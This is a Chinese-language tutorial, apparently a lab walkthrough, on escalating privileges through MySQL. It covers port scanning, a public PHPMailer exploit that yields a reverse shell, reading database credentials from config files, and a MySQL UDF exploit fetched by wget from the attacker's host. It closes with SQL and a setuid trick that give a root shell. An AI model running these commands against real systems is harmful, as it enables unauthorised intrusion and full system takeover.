1、Mysql提权简介

我们都知道网站所用脚本之间的不同权限也就大概的可以看出来,jsp 的默认权限一般都是 system 权限,而 aspx 的一般来说都高于 user 权限,一般来说。asp 和 PHP 的权限差不多,Pl ,cgi ,py 的权限一般和 Aspx 的差不多,MySQL 数据库提权之前,也就是最重要的一点,我们要知道 root 账号和密码,这个也就是最重要的,因为他有写入权限啊!!!

一般获取 root 账号密码主要分为 这几个突破口 : 数据库配置文件、端口破解口令、下载数据库文件获取等

2、mysql实战提权操作

1)、首先,我们如果拿到目标站,第一步可以通过masscan工具扫描目标主机的80端口,探测到存活机器,命令和数据如下:

masscan 192.168.42.0/24 -p80Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-03-11 09:17:21 GMT-- forced options: -sS -Pn -n --randomize-hosts -v --send-ethInitiating SYN Stealth ScanScanning 256 hosts [1 port/host]Discovered open port 80/tcp on 192.168.42.8

2)、接着我们就用nmap工具搜集探测一下漏洞,这里用到了nmap的脚本,数据和命令如下:

nmap -T5 -A 192.168.42.8 --script=vulnStarting Nmap 7.80 ( https://nmap.org ) at 2020-03-11 17:22 CSTNmap scan report for 192.168.42.8Host is up (0.00059s latency).Not shown: 997 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)|_clamav-exec: ERROR: Script execution failed (use -d to debug)80/tcp open http Apache httpd 2.4.10 ((Debian))|_clamav-exec: ERROR: Script execution failed (use -d to debug)| http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.42.8

3)、接着基本的操作就是我们的目录扫描,我们这里可以用到常见的御剑扫描工具。看看有没有什么敏感的信息和文件




mysql提权使用msf mysql两种提权方式_数据


通过目录扫描,我们发现了目录遍历漏洞,根据我们黑客渗透的经验,我们可以从中查看一些敏感的信息和重要文件,对我们后面的黑客渗透给予很大的帮助


mysql提权使用msf mysql两种提权方式_数据_02


在查看目录的时候,通过看这个dist文件,我们得知看见目标网站是PHPMailer的程序,通过找其中的信息,发现是5.2.16版本的


mysql提权使用msf mysql两种提权方式_数据_03


那么我们就可以在百度搜索一下相关的漏洞,也可以通过Kali Linux渗透系统这里就通过searchsploit 工具搜索到相关漏洞的漏洞攻击脚本

执行searchsploit 命令:searchsploit PHPMailer搜索出相关的漏洞exp


mysql提权使用msf mysql两种提权方式_mysql提权使用msf_04


由于exp是python编写的,我们这里要安装一下相关的python库

执行命令:pip install requests-toolbelt安装requests-toolbelt库

4)、经过exp成功反弹拿到shell


mysql提权使用msf mysql两种提权方式_mysql_05


执行命令python -c 'import pty;pty.spawn("/bin/bash")'添加python伪终端,可以看到权限为www权限,那么这里我们就需要去进行一方面的提权提升


mysql提权使用msf mysql两种提权方式_python_06


通过翻php的配置文件,看到了mysql的账号密码


mysql提权使用msf mysql两种提权方式_mysql_07


查看一下相关的启动,发现mysql是以root启动


mysql提权使用msf mysql两种提权方式_mysql提权使用msf_08


我们可以打开mysql查看版本


mysql提权使用msf mysql两种提权方式_mysql_09


5)、下载提权exp在kali上面,编译在kali上编译

执行wget https://www.exploit-db.com/download/1518 下载提权的exp代码

接着执行gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o -lc

得到1518.so文件


mysql提权使用msf mysql两种提权方式_数据_10


然后在kali上创建临时服务,执行命令python -m SimpleHTTPServer 8081开启一个http

我们接着在靶机上执行先切换到/tmp目录下

执行命令wget http://192.168.42.4:8081/1518.so 下载好我们刚才编译好的exp


mysql提权使用msf mysql两种提权方式_mysql提权_11


下载完成


mysql提权使用msf mysql两种提权方式_python_12


下载完了我们就再次登录数据库执行以下命令

use mysql;create table foo(line blob);insert into foo values(load_file('/tmp/1518.so'));select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';create function do_system returns integer soname '1518.so';select * from mysql.func;select do_system('chmod u+s /usr/bin/find');find ./ -exec "/bin/sh" ;

最后可以看见,提权成功。


mysql提权使用msf mysql两种提权方式_数据_13